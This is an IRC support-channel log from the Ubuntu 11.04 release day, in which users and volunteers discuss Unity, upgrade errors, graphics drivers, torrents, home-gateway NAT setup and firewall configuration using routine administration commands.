[14:43] <ciphergoth> I'm looking forward to trying Unity more than ever now :-)
[14:43] <soyo> So I am in the middle of upgrading to 11.04 (so if I disappear for a few days.. ;) Debconf is asking me if I want to keep the old grub but wouldn't that leave no option for booting into 11.04?
[14:43] <phoque_uni> Flynsarmy, narf_, I'm on Ubuntu Classic/Gnome
[14:43] <narf_> phoque_uni, nothing works, stuff just dissaperes
[14:43] <escott> Guest31762, examine the partition table with gdisk
[14:43] <coz_> narf_,   log off  change session to  classic gnome
[14:43] <narf_> tx
[14:43] <Guest31762> kk
[14:43] <z0mbyk1d> soyo: i would imagine so yes
[14:44] <TheRedOctober> I guess it is time to try out Natty...wish me luck
[14:44] <dob1> well i don't want to critic the work of other people, thanks for the work of ubuntu anyway, but just put this unity as an option not as default, that's all
[14:44] <phoque_uni> coz_, ATI 4870
[14:44] <Incarus6> TheRedOctober, I still try to install Natty :D
[14:44] <soyo> z0mbyk1d: I am guessing its asking me because it asks about any conf file..
[14:44] <ciphergoth> I need to install Ubuntu over the network. Do these instructions look right? http://www.techienote.com/2010/06/pxe-booting-lucid-lynx-ubuntu-10-04.html
[14:44] <coz_> phoque_uni,   ok  ,, I know too little about ati to be any use,,,
[14:44] <z0mbyk1d> soyo: yeah that question is always asked
[14:44] <bp0> so if you don't want to go to natty, is it better to go back to 10.04?
[14:44] <TheRedOctober> Incarus6: that is the sentiment around the office as well...
[14:45] <jatt> yes 10.04 is LTS and proven
[14:45] <soyo> z0mbyk1d: Should I try the merge.. lol j/k
[14:45] <coz_> bp0,  you can yes for sure since that is LTS
[14:45] <vabigoon> Hello, can you explain me what's that Unity?
[14:45] <jatt> if you want to play around then natty is ok
[14:45] <bp0> ok
[14:45] <jatt> unity is canonical's own desktop environment
[14:45] <coz_> vabigoon,    go to youtube.com    search for  ubuntu 11.0   or  ubuntu  Unity
[14:45] <Flynsarmy> vabigoon: it's a piece of software designed to get people outside more often
[14:45] <saml> hey, i clicked upgrade to 11.04.. and desktop is broken
[14:45] <jatt> so you have now gnome, kde, xfce and unity
[14:45] <Incarus6> TheRedOctober, :D I got some strange dependency errors. tell me if you have some issues with the installation
[14:45] <saml> looks like compiz is gone..
[14:46] <z0mbyk1d> /etc/bash_completion.d <- is this new?
[14:46] <z0mbyk1d> interesting, never noticed it before
[14:46] <Sterist> anyone have contact with www.psubuntu.com 's moderators?
[14:46] <coz_> saml,   no compiz is the compositor for Unity
[14:46] <Incarus6> saml, wait, you pressed the button and the desktop was suddenly broken?
[14:46] <escott> z0mbyk1d, within the last 3 years or so
[14:46] <z0mbyk1d> great idea if it is what i think it is
[14:46] <z0mbyk1d> lol ok
[14:46] <saml> Incarus6, yah
[14:46] <z0mbyk1d> new rsyslog.conf, i'll have to merge in my tweaks
[14:46] <Omega> !ot | Flynsarmy
[14:46] <ubottu> Flynsarmy: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[14:46] <Incarus6> saml, you can try the comand line way
[14:46] <vabigoon> Ok, thank you, is that some Gnome modification or the completely new environment
[14:46] <z0mbyk1d> looks like the upgrade is nearly done
[14:46] <escott> z0mbyk1d, not sure when the /etc entry was introduced
[14:47] <saml> and the left column thingy  is weird.. leaving marks  like when windows is frozen and you move window...
[14:47] <Khr0n0s> Hi, I just installed Ubuntu 11.04 except when I tried to boot into it I got given an error message saying that my hardware isn't supported and that I'll be shown the classic environment. I have an ATI 5850 graphics card with the latest FGLRX drivers installed so I'm not sure why it's causing this. Anyone have any ideas?
[14:47] <escott> z0mbyk1d, you might consider installing etckeeper
[14:47] <coz_> vabigoon,  it is just a alternative   DE  environment ,, you can change it to classic gnome via sessions when you log in
[14:47] <jatt> completely new environment
[14:47] <ActionParsnip> Khr0n0s: is it an upgrade or a clean install?
[14:47] <Incarus6> khr0n0s, paste "/usr/lib/nux/unity_support_test -p"
[14:47] <Khr0n0s> Upgrade
[14:48] <vibhav> downoloading torrent
[14:48] <cordoval_> I can't access ubuntu+1
[14:48] <Dr_Willis|2> Khr0n0s:  just guessing.. but i would think the fglrx driver is not working, or did not instal lproperly
[14:48] <phoque_uni> drop shadows are not done by Compiz anymore?
[14:48] <z0mbyk1d> smb.conf too
[14:48] <z0mbyk1d> show differences is ugly as hell
[14:48] <ActionParsnip> Khr0n0s: remove the proprietary driver, reboot, install the proprietary driver and reboot, should be ok
[14:48] <z0mbyk1d> and i can never interpret it
[14:48] <vibhav> Cannot join #ubuntu+1 (Channel is invite only).
[14:48] <z0mbyk1d> :/
[14:48] <vabigoon> thank you guys, So the next puzzle solved  ;D
[14:48] <cordoval_> anyone knows how to insert a second bar on top of the screen to have the regular applets that I had before?
[14:48] <Incarus6> Dr_Willis|2, I think it doesn't pass the unity test, he said he got that error
[14:48] <cordoval_> on natty
[14:48] <Dr_Willis|2> phoque_uni:  if the plugin is messing. it may be in the repso.
[14:48] <jatt> there are no applets in unity
[14:48] <arand> vibhav: It's just closed
[14:48] <freaky[t]> natty has been released yay :D
[14:48] <coz_> phoque_uni,  they should be ,, but if you want to be sure go to #compiz-dev and ask  smspillaz  the main developer
[14:48] <saml> how can I change workspace?
[14:48] <cordoval_> really?
[14:48] <thegoodcushion> Hi gang.  Anyone just downloaded 11.04 and want to express an opinion about it?  What about Unity?
[14:48] <jatt> yes
[14:48] <DJones> vibhav: There isn't a +1 version yet, so the channel is closed
[14:48] <cordoval_> how come?
[14:49] <cordoval_> where to go
[14:49] <jatt> no applets no panels
[14:49] <cordoval_> how to upgrade?
[14:49] <ActionParsnip> saml: ctrl+alt+cursors
[14:49] <FloodBot2> cordoval_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[14:49] <JuJuBee> Do any music players manage playlists on iPod's yet?
[14:49] <dscastro> hi..
[14:49] <echo2> hi.
[14:49] <Omega> vibhav: It will be open when oneiric opens.
[14:49] <Khr0n0s> unity_support_test gave  No such file or directory
[14:49] <saml> ActionParsnip, don't work with 11.04
[14:49] <cordoval_> please tell me what I do to get it
[14:49] <echo2> how do I use unity in vmware?
[14:49] <coz_> DJones,  that channel will be availabe in about a week or 2
[14:49] <cordoval_> I already am on natty but not the latest
[14:49] <dscastro> trying do upgrade to 11 i'm getting errors
[14:49] <ActionParsnip> saml: then you will need to expand the number of desktops in ccsm
[14:49] <saml> i want to have only one workspace
[14:49] <saml> ccsm?
[14:49] <Dr_Willis|2> dscastro:  servers may be overloaded right now.
[14:49] <Omega> dscastro: The servers are overloaded.
[14:49] <TheRedOctober> Incarus6: the update failed outright, unable to calculate space (no exception or anything, just loudly failed)
[14:49] <Dr_Willis|2> !ccsm | saml
[14:49] <ubottu> saml: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[14:49] <echo2> is there a support chan
[14:50] <ActionParsnip> saml: yes, set the horizontal and vertical workplace value to 1
[14:50] <saml> Dr_Willis|2, 11.04 is not compiz
[14:50] <dscastro> Dr_Willis|2, errors about packages
[14:50] <echo2> is there a support chan
[14:50] <saml> compiz is gone
[14:50] <Incarus6> khr0n0s, uhm, and you got unity installed?
[14:50] <cordoval_> no it is not
[14:50] <Omega> echo2: I don't know about VMware, but I saw a guide for virtualbox.
[14:50] <Dr_Willis|2> saml:  unity is running on top of compiz. and has compiz plugins..
[14:50] <MohammadAG> I'll ask again, is there a way to upgrade without update-manager?
[14:50] <echo2> link me, omega
[14:50] <Incarus6> TheRedOctober, nice. can you paste /var/log/dist-upgrade/ files?
[14:50] <ActionParsnip> saml: then you need to reinstate 3D accelleration
[14:50] <Dr_Willis|2> saml:  at least it did last week when i was playing with it.
[14:50] <LukasIgnat> how to upgrade from beta to final release?
[14:50] <escott> saml, think you are confusing with gnome3, unity does use compiz
[14:50] <Omega> echo2: http://www.omgubuntu.co.uk/2011/04/heads-up-unity-working-with-the-lastest-virtualbox/
[14:50] <echo2> thanks
[14:50] <coz_> LukasIgnat,   sudo apt-get update && sudo apt-get dist-upgrade
[14:50] <ActionParsnip> LukasIgnat: sudo apt-get update; sudo apt-get -y upgrade
[14:50] <DaSinge> What is wrong: http://paste.ubuntu.com/600274/
[14:51] <Khr0n0s> I just did a standard upgrade :S
[14:51] <saml> ActionParsnip, how can I do that?
[14:51] <saml> reinstate 3d acceleration
[14:51] <vibhav> 61 percent!
[14:51] <Khr0n0s> But it looks like unity-common wasn't installed...
[14:51] <Incarus6> kr0n0s, gnome or kde or something else?
[14:51] <ActionParsnip> saml: what video chip are you using?
[14:51] <vibhav> Khr0n0s whats the problem guys?
[14:51] <saml> ActionParsnip, it is ATI
[14:51] <ActionParsnip> saml: which model?
[14:51] <saml> and I'm using Additional Drivers
[14:51] <vibhav> saml whats the problem?
[14:52] <z0mbyk1d> weird it didnt ask me about the postfix config which is definitely locally modified
[14:52] <escott> DaSinge, please talk to #bash overloaded by 11.04 questions here
[14:52] <z0mbyk1d> does that package handle upgrades?
[14:52] <DaSinge> ok
[14:52] <saml> how can I find out my video chip?
[14:52] <Incarus6> khr0n0s, are you in gnome right now?
[14:52] <escott> saml, lspci
[14:52] <LALALLAA> hi
[14:52] <Khr0n0s> incarus6, yes
[14:52] <saml> vibhav, desktop is funky. left column taskbar thingy is funky
[14:52] <Dr_Willis|2> saml:  you could try rerunning the addationa-drivers tool
[14:52] <ActionParsnip> saml: remove the driver, reboot, install the driver then reinstall the driver
[14:52] <Khr0n0s> vibhav, unity is saying my hardware isn't installed
[14:52] <ChrisGagnon> saml: you can use 'lshw -C display'
[14:53] <Khr0n0s> vibhav, sorry tired. *compatible
[14:53]  * ToeKutter is downloading now... <panting in antisipation>
[14:53] <Incarus6> khr0n0s, That error tells you, that you can't use Unity. are you planning to use Unity?
[14:53] <saml> 0f:00.0 VGA compatible controller: ATI Technologies Inc Device 68a9
[14:53] <euclid> upgrading!
[14:53] <vibhav> Khr0n0s refer to this to find about your video card b
[14:53] <vibhav> Khr0n0s refer to this to find about your video card http://www.cyberciti.biz/faq/linux-tell-which-graphics-vga-card-installed/
[14:54] <Khr0n0s> incarus6, hopefully. Don't see how my hardware isn't compatible since I only bought the graphics card last year (ATI 5850)
[14:54] <saml> that sucks.. this graphic gard is pretty good card
[14:54] <evdvelde> hi all, i installed Natty and now my bluetooth mighty mouse does not respond to clicks, scrolling works... any ideas?
[14:54] <saml> thankfuly i still have display
[14:54] <saml> ubuntu upgrade is always  a mess for graphics
[14:54] <Khr0n0s> vibhav, 5850 ATI
[14:54] <Incarus6> khr0n0s, Unity is a new desktop which isn't completly stable yet
[14:55] <jubei_> hello i am trying to setup a home gateway/router, i am running ubuntu 10.04 server, i have 2 NICs eth1  dials PPPoE to mweb, and eth0 goes to a switch. I have setup DHCP on eth0 to dish out IPs to clients plugged into the switch.from the server i can ping out to internet locations, and i can also ping clients on the switch, from clients i can ping the server, however, from the clients i cant
[14:55] <euclid> after I upgrade will unity take over?
[14:55] <jubei_> ping internet locations, ie i can't get past the gateway. what do i need to setup on the gateway/router server to allow clients to get outside?
[14:55] <vibhav> Khr0n0s what does the prblem say?
[14:55] <saml> euclid, don't upgrade
[14:55] <Incarus6> How can I fix "An unresolvable problem occurred while calculating the upgrade: E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.?
[14:55] <Incarus6> "
[14:55] <euclid> why?
[14:55] <vibhav> <evdvelde> http://fossplanet.com/f10/%5Bbug-700292%5D-%5Bnew%5D-bluetooth-keybord-after-natty-upgrade-not-working-92191/index2.html
[14:55] <farciarz84> hi, which technology canonical uses to build ubuntu.com?
[14:56] <avatar_> Hi guys, party on!
[14:56] <Khr0n0s> vibhav, It seems that you do not have the hardware required to run Unity. Please choose Ubuntu Classic at the login screen and you will be using the traditional environment.
[14:56] <rcconf> Why Ubuntu torrent is so damn slow?
[14:56] <vibhav> <Khr0n0s> what is the graphic card memory?
[14:56] <coz_> rcconf,  because a gazillion people are using it ?
[14:56] <rcconf> !party
[14:56] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[14:56] <escott> jubei_, do you have dnsmasq configured (NAT)
[14:56] <z0mbyk1d> w00t! waiting on the reboot
[14:56] <moshe_> rcconf allow more peers to be connected
[14:56]  * z0mbyk1d crosses fingers
[14:56] <euclid> after I upgrade will unity take over?
[14:56] <Dr_Willis|2> rcconf:  the torrent is quite quick here.
[14:56] <Khr0n0s> vibhav, 1GB. it's a mid/upper end graphics card
[14:56] <jatt> euclid: yes
[14:56] <JuJuBee> jubei_: may  I pm you?
[14:56] <andeeeuk> hey
[14:57] <euclid> fuck
[14:57] <vibhav> <euclid> yes
[14:57] <jatt> lol
[14:57] <coz_> euclid,  as long as your drivers are installed ,, yes
[14:57] <rcconf> maxium peers is 60 here
[14:57] <vibhav> <Khr0n0s> must be some bug.. lemme see
[14:57] <Pici> euclid: mind your language please.
[14:57] <evdvelde> vibhav: sounds similar, thoug it is with keyboard
[14:57] <andeeeuk> has anyone updated to 11.04 from repo yet?
[14:57] <rcconf> it's not a client problem. i download other stuff at full speed
[14:57] <euclid> sorry
[14:57] <Pici> euclid: And no, you can pick which desktop envornment you want.
[14:57] <z0mbyk1d> i like how it spawns a screen for the upgrade
[14:57] <z0mbyk1d> fancy
[14:57] <Dr_Willis|2> rcconf:  got 70 seeds and 300 peers here.
[14:57] <Elie-Tucan> Hi everyone, could someone point me the mono icons guidelines please, I can't find them ?
[14:57] <moshe_> rcconf it might be torrent spesific properties too
[14:57] <jubei_> escott: i have read up on many tutorials about what i need to set in, and none seem to work. I want to now backtrack a little and do some reading on networking and how it all works: could you point me in the right direction? ie. read up about "dnsmasq" - read about "ip masquesrading" - read up about "routing table"
[14:57] <arand> euclid: You can easily choose classic at the login screen to not use it
[14:57] <euclid> Pici, really?
[14:58] <Pici> euclid: Yes, really.
[14:58] <euclid> :)
[14:58] <rcconf> 50 peers
[14:58] <vibhav> <evdvelde> try to post it in the ubuntu fourms
[14:58] <rcconf> 2.905 seeders
[14:58] <farciarz84> which web framework canonical uses to build ubuntu.com?
[14:58] <Dr_Willis|2> getting 1.4mb/sec on the torrent.
[14:58] <escott> jubei_, assuming addresses on the eth0 subnet are not valid inet addresses (192.168.* or 10.10.*) you need to use NAT dnsmasq to allow the traffic to get back to them, you could have a route out, but nothing back in
[14:59] <JuJuBee> jubei_: you need to tell your server to do ip forwarding... change the 0 in /proc/sys/net/ipv4/ip_forward to a 1
[14:59] <Younder> is dapper out yet?
[14:59] <rcconf> 403kb/s damn slow
[14:59] <escott> jubei_, JuJuBee asked for a pm i think
[14:59] <psalden> there isn't some channel dedicated to the gnome3 ppa, is there?
[14:59] <rcconf> Dr_Willis|2: it's peers thing
[14:59] <OfficiallyPC> How to convert an .ogv video to .avi?
[14:59] <Dr_Willis|2> OfficiallyPC:  ffmpeg, mencoder,. or front ends to those apps
[14:59] <jubei_> JuJuBee, i did that but it didnt allow the clients to get past the gateway
[14:59] <Sc0tt> OfficiallyPC, use avidemux
[15:00] <mbeierl> OfficiallyPC: ffmpeg can, but I find Handbrake to be more flexible
[15:00] <rcconf> 2mb/s
[15:00] <jubei_> escott: i have a network map with ip's on and such in jpg, could you suggest a place to upload and then u can see?
[15:00] <rcconf> but it's very unstable
[15:00] <JuJuBee> jubei_: also did you change the value in /etc/sysctl.conf ?
[15:00] <kl_> Anyone know how to remove the little resize icon on each windows?
[15:00] <escott> !pastebin | jubei_
[15:00] <ubottu> jubei_: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[15:00] <vibhav> <OfficiallyPC>  Install WinFF from Ubuntu Software Center
[15:00] <jubei_> JuJuBee, i changed it there and then did sysctl -p to restart it
[15:00] <euclid> jubei_, imgur
[15:00] <JuJuBee> jubei_: ok, what about iptables?
[15:01] <moshe_> oh wow why is my latency so high in this server
[15:01] <JuJuBee> jubei_: do you have firewall rules preventing?
[15:01] <Elie-Tucan> Hi everyone, could someone point me to the mono icons guidelines please, I can't find them ?
[15:01] <victorhugo289> Guys, to download the new Ubuntu torrent, is it "ubuntu-11.04-alternate-i386.iso.torrent" or "ubuntu-11.04-desktop-i386.iso.torrent"?
[15:01] <ChogyDan> !alternate | victorhugo289
[15:01] <ubottu> victorhugo289: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/desktop/get-ubuntu/alternative-download#alternate - See also !minimal
[15:02] <Dr_Willis|2> victorhugo289:  alternate is a text based installer.. eitehr can work
[15:02] <victorhugo289> My computer is desktop, 32 bit, I use Alternate? ok
[15:02] <chchatzop> can i change unity?
[15:02] <victorhugo289> thanks!
[15:02] <vibhav> <victorhugo289> to upgrade use alternate CD to make a fresh install use desktop one
[15:02] <Sterist> has anyone heard if any development on ubuntu for playstation 3 has resumed?
[15:02] <saml> hey, in unity, how can I reduce number of workspaces?
[15:02] <saml> I only need one workspace
[15:02] <escott> saml, ccsm
[15:02] <rcconf> 3 mb/s now
[15:02] <victorhugo289> I want to do a fresh Install
[15:02] <tomasz> tu change unity !! logout and change on down screen
[15:02] <victorhugo289> I use Desktop then?
[15:03] <kl_> Anyone know how to remove the little resize icon on the lower right on each windows?
[15:03] <o_> hi , xubuntu 11.04 is not announced in distrowatch. Is it released?
[15:03] <rcconf> o_: #xubuntu
[15:03] <escott> victorhugo289, yes and if the installer fails to boot try the alternate
[15:03] <davzie> Apparantly the Queen said to Kate Middleton, two things to remember, always wear a seatbelt and don't piss me off.
[15:03] <victorhugo289> ok
[15:03] <saml> no.. ccsm doesn't work... Win+n  does not negative window.. it opens dash board
[15:03] <jubei_> JuJuBee/Escott: I am so lost with all of this - i dont know how all the different parts (packetforwarding/dnsmasq/iptables/route -n) work together to produce the result, i have no understanding and am blindly entering commands and hoping they work, I want to understand, any books/links/resources you have in this regard would be amazing!! map of network : http://imagebin.org/150608
[15:03] <moshe_> rcconf what did you do to fix it?
[15:03] <vibhav> saml refer to http://www.streamreader.org/askubuntu/questions/34572/how-can-i-reduce-or-increase-the-number-of-workspaces-in-unity
[15:04] <escott> jubei_, the tldp may have some good docs
[15:04] <waldir> I just upgraded to natty and I want to re-enable the world map in the time/date. How can I do that?
[15:04] <LALALLAA> hi
[15:04] <LALALLAA> which ubuntu should i install ?
[15:04] <rcconf> moshe_: stopped other torrents, limited upload speed to half, and changed number of peers
[15:04] <jubei_> yeah i been reading tldp but they mostly out of date, and they are howto style - just tell you what to do no explaining what it does ... :(
[15:04] <alakoo> LALALLAA: how about 11.04
[15:04] <Ruuuumb0> LALALLAA: Hi
[15:04] <Ruuuumb0> LALALLAA: english%irc.freenode.com
[15:04] <Ruuuumb0> ups
[15:04] <jubei_> i think i need a basic-advanced networking type book
[15:05] <saml> vibhav, thanks
[15:05] <JuJuBee> jubei_: see my pm
[15:05] <Ruuuumb0> LALALLAA: "ubuntu-11.04-desktop-i386.iso
[15:05] <vibhav> saml No problem!
[15:05] <hinogi> okay I have some kind of wireless issue. I cannot optain an ip from my router if I use wicd. if I use the network-manager no wireless networks show up. iwlist lists the wireless networks nonetheless.
[15:05] <hinogi> and wicd does too
[15:05] <LALALLAA> no i dont like  11.04
[15:05] <zorion> hi ererybody
[15:05] <LALALLAA> .
[15:05] <rcconf> LALALLAA: #ubuntu-offtopic
[15:06] <kl_> Anyone know how to remove the little resize icon on the lower right on each windows?
[15:06] <Dr_Willis|2> klaas:  thats part of the theme i thought.
[15:06] <vibhav> kl_ you using ubuntu 11.04
[15:06] <kl_> vibhav: yes
[15:06] <andeeeuk> has anyone completed an update to 11.04 from the repo?
[15:06] <Dr_Willis|2> kl_ you mean the resize handel>
[15:07] <vibhav> ok
[15:07] <Ruuuumb0> vibhav:  ubuntu 11.04 released ?
[15:07] <hinogi> is there away to see the communication between my wlan card and the router?
[15:07] <Dr_Willis|2> andeeeuk:  servers may be overloaded at this time.
[15:07] <vibhav> Ruuuumb0 yes
[15:07] <escott> hinogi, ntop
[15:07] <rcconf> Ruuuumb0: yes.
[15:07] <kl_> Dr_Willis|2: Could be it it looks like a transparent triangle
[15:07] <Ruuuumb0> Cool !
[15:07] <[Dmitry]1> Hello. Question 1) There is a Russian? 2) Who collects the deb packages?
[15:07] <andeeeuk> ok thanks
[15:07] <Dr_Willis|2> kl_:  that the window decorations theme part then.
[15:07] <Ruuuumb0> Go to upgrade )
[15:07] <escott> !ru | [Dmitry]1
[15:07] <ubottu> [Dmitry]1: Пожалуйста посетите #ubuntu-ru для получения помощи на русском языке  / Pozhalujsta posetite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke
[15:07] <ToeKutter> super easy installer.. sweet
[15:07] <andeeeuk> have been having problems with any updates
[15:07] <hinogi> then I'd need network connection first I guess
[15:07] <banished> How do I move windows to another Desktop with unity?
[15:08] <kl_> Dr_Willis|2: you know how to remove it then?
[15:08] <Dr_Willis|2> kl_ change your theme perhaps
[15:08] <Sterist> this is a very low-profile release on the ubuntu website.... you cannot find anything saying 11.04 Released
[15:08] <vibhav> kl_ can you further explain?
[15:08] <[Dmitry]1> escott: thx captain
[15:08] <escott> banished, click on the workspace switcher and drag them
[15:08] <kl_> Dr_Willis|2: can't I modify the theme?
[15:08] <Pr070cal> anyone know how to configure ufw ?
[15:08] <vibhav> why does ubuntu.com has a dell laptop that hides all the text?
[15:08] <kl_> vibhav: on the lower right you see a triangle
[15:08] <chchatzop> where do i find all the preferences and settings in unity?
[15:08] <rcconf> Pr070cal: yes
[15:08] <moshe_> does 11.4 includes gnome 3?
[15:08] <escott> Pr070cal, gufw
[15:08] <Dr_Willis|2> kl_ You could make your own theme i imagine.
[15:09] <[Dmitry]1> moshe_: no
[15:09] <cyberkilla> moshe_, I don't think so.
[15:09] <banished> escott: is there no more convenient way?
[15:09] <vibhav> kl_ yes
[15:09] <escott> moshe_, no, there is a ppa, but it breaks lots of stuff
[15:09] <vibhav> why does ubuntu.com has a dell laptop that hides all the text?
[15:09] <Incarus6> moshe_ no, 2.30 http://packages.ubuntu.com/natty/gnome
[15:09] <arand> banished: ctrl+alt+shift+arrowkeys
[15:09] <escott> banished, right click on the title bar and say move to... its still compiz so all the old gnome2 methods should work
[15:09] <[Dmitry]1> Who here is engaged in building packages?
[15:10] <vibhav> 19 minutes letf!
[15:10] <vibhav> 19 minutes left!
[15:10] <dajhorn> vibhav: It is probably a web site bug.  I can see it too.
[15:10] <kl_> Dr_Willis|2: you know where the theme files are located?
[15:10] <Dr_Willis|2> !changtheme | kl_
[15:10] <moshe_> thanks
[15:10] <kl_> Dr_Willis|2: found it
[15:10] <Dr_Willis|2> kl_:   Not really. the gnome-look site has themnes you could look at and figure out how to modify.
[15:11] <Incarus6> dajhorn, http://www.ubuntu.com/ubuntu/whats-new
[15:11] <Pici> [Dmitry]1: #ubuntu-motu and #ubuntu-packaging, also see http://wiki.ubuntu.com/PackagingGuide
[15:11] <Dr_Willis|2> I tend to just pick a simple theme and thats it.
[15:11] <banished> arand, escott ok, I was hoping I could somehow just drag it to the other workspace instead of half maximizing it
[15:11] <kl_> Dr_Willis|2: you know the exact name for the size tingie?
[15:11] <[Dmitry]1> Pici: Thx you.
[15:11] <moshe_> <Incarus6> is it possible to get it though?
[15:11] <chchatzop> how do i access the equivalent of "system" at unity?
[15:11] <Dr_Willis|2> kl_:  nope.
[15:11] <Sylphid> hey all....having a problem with front panel audio, if i start audio it everything defaults to rear panel however if i run aplay /some/audio.wav and start another track durring the aplay it goes to the front panel, any tips?
[15:11] <Dr_Willis|2> kl_:  other then 'resize handel' perhaps
[15:11] <arand> chchatzop: Through the shutdown menu
[15:11] <Incarus6> moshe_, yes, over ppa's, escott said that
[15:12] <chchatzop> arand: thx
[15:12] <dr0id> well
[15:12] <Incarus6> moshe_, http://blog.mypapit.net/2011/04/installing-gnome-3-on-ubuntu-11-04-natty-narwhal.html
[15:12] <dr0id> how to know which OS I am using exactly ?
[15:12] <dr0id> uname -a doesn't tell me really :P
[15:12] <Pr070cal> escott: i tried ufw, but im having problems denying all out and in then allow 80 out
[15:12] <ChogyDan> dr0id: lsb_release -a
[15:12] <escott> Pr070cal, have you tried gufw gui
[15:13] <dr0id> it's not ubuntu, so says command not found
[15:13] <avij> http://www.ubuntu.com/download/ubuntu/alternative-download links to http://releases.ubuntu.com/11.04/ubuntu-11.04-netbook-i386.iso.torrent , but the latter link gives me a 404. problem?
[15:13] <Pici> dr0id: And you're asking for support in #ubuntu?
[15:13] <moshe_> <Incarus6> thank you very much for your time sir.
[15:13] <Sylphid> Pr070cal,  why are you denying out?
[15:13] <dr0id> not sure where to ask, well will move on to #linux then :)
[15:13] <dr0id> thanks anyway
[15:13] <Incarus6> moshe_, your welcome
[15:14] <Dr_Willis|2> dr0id:  if it follows the standards   lsb_release -1
[15:14] <Dr_Willis|2> dr0id:  if it follows the standards   lsb_release -a I mean...
[15:14] <dr0id> -bash: lsb_release: command not found
[15:14] <jay_> hello everyone
[15:14] <Incarus6> avij, a netbook version doesnt exist: http://releases.ubuntu.com/11.04/
[15:14] <Pici> avij: there is no separate netbook release. I'll see about getting that link fixed though.
[15:14] <dr0id> lsb_release and uname are the first things I try :)
[15:14] <chchatzop> can i get back to gnome?
[15:14] <Dr_Willis|2> dr0id:  time to start digging in etc then  i guess.
[15:14] <Pr070cal> Sylphid: so its restictive setup like i had firestarter
[15:15] <escott> chchatzop, ubuntu classic/gnome classic from the gdm login screen
[15:15] <chchatzop> thanks
[15:15] <Pr070cal> Sylphid: i dont want data sent out unless i allow it
[15:15] <jatt> no love for unity
[15:15] <jdahm> does the ubuntu installer support pre-configured mdadm raid arrays?
[15:15] <Sylphid> Pr070cal, make sure you are adding your related, established rules
[15:15] <jnye> can anyone help? upgrade from 10.10 to 11.04 now just boots to an ubuntu logo and 5 red dots and doesn't go any further? virtualbox 4.0.6 on windows host
[15:15] <dr0id> cat /etc/issue Dr_Willis|2 :)
[15:15] <dr0id> centos 5.5
[15:15] <chchatzop> didnt like it
[15:16] <apriliyanus> is upgrading
[15:16] <Squall5668> jnye: boot in recovery mode to see where the problem is
[15:16] <Pr070cal> Sylphid: i deny out to all and allow 80 but it doesnt work
[15:16] <jnye> Squall5668: any details on how to do that? is there a key combo or something?
[15:16] <Sylphid> Pr070cal, dont forget that connections use random source port
[15:17] <bakanub> Somehow natty doesnt like my notebook. Native resolution is 1280x800, but Natty only allows me to choose 1024x768 (the rest is simply cropped). VGA is an integrated intel mobile gm965/gl960. Liveusb and a clean install gives the same result... What to do?
[15:17] <rcconf> prey
[15:17] <Squall5668> jnye it asks you at boot, in the grub menu, if you cant see the grub menu press ESC
[15:17] <kornicameister>  I need to establish logging the events from the network via rsyslog, I had already added appropriate lines into rsyslog.conf, by these lines I mean the line which loads the module listing on the tcp port and added my own ruleset to it
[15:17] <kornicameister> but it does not work
[15:18] <Sylphid> hey all....having a problem with front panel audio, if i start audio it everything defaults to rear panel however if i run aplay /some/audio.wav and start another track durring the aplay it goes to the front panel, any tips?
[15:18] <hinogi> well ntop only works with established network connection but I don't get there with my wlan thats why I need a monitor that showes me why I don't get a connection
[15:19] <sam-_-> how can i install gnome 3? (and gnome-shell)? just via ppa?
[15:19] <avij> Pici: thanks. not that I'd be needing a netbook version, but I just happened to notice that there's a mistake.
[15:19] <Squall5668> hinogi google: packet sniffing
[15:19] <Pici> avij: Sure. Thanks for letting us know.
[15:19] <Incarus6> AAAAAAAAAAAGHAHA.. i cant upgrade
[15:19] <Sylphid> Pr070cal, you could also try logging the connection drops to debunk where they are getting dropped
[15:20] <Incarus6> Pici, if upgrade fails, do you recommend to fix it or a fresh installation?
[15:20] <escott> hinogi, sorry didn't realize you meant montior MODE
[15:20] <bakanub> sam-_-, yes
[15:20] <vibhav> Pici I recommend a fresh install
[15:20] <ChogyDan> Incarus6: how did it fail?
[15:20] <_empty> Just me having problems installing the new ubuntu? Booting from cd?
[15:20] <hinogi> anyone else having problems with broadcom wireless and ubuntu 11.04?
[15:20] <sam-_-> bakanub: why didn't they include gnome 3? i thought it's stable
[15:20] <Bovola> ciao
[15:20] <Incarus6> ChogyDan, "An unresolvable problem occurred while calculating the upgrade: E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages."
[15:21] <Doonz> Hey guys is there a way when using the cp command to see what the transfer speed is going at or a status on the file being compied?
[15:21] <Bovola> !list
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[15:21] <ChogyDan> Incarus6: I think we can debug that
[15:21] <vibhav> http://paste.ubuntu.com/600285/
[15:21] <riktking> hinogi: hve u tried updating it? i have always had issues with broadcom addaptors, but there is an installer
[15:21] <ChogyDan> Incarus6: I don't think the upgrade started yet
[15:21] <Incarus6> ChogyDan, ok, thank you. It could be related with xorg
[15:21] <thegoodcushion> anyone want to say what they think of 11.04?  What about Unity?
[15:21] <hinogi> well there aren't many updates on release day :P
[15:21] <ChogyDan> Incarus6: did you use the xorg ppa?
[15:21] <JAMMAN2110> Someone really needs to complain to Citylink about how terrible the NZ Repo has been for the last 5 years
[15:22] <jdahm> sam-_-: because gnome3 is not better than unity
[15:22] <JAMMAN2110> (Not an exaggeration)
[15:22] <LjL> jdahm: that's not the reason
[15:22] <riktking> hinogi: try plugging using a wired network
[15:22] <LjL> sam-_-: i believe it wasn't stable in time for the freeze, or something
[15:22] <hinogi> I did but there aren't any updates
[15:23] <sam-_-> jdahm: well that's apple and oranges. i didn't say so. i just want to know why they didn't include it.
[15:23] <sam-_-> LjL: ah. that makes sense
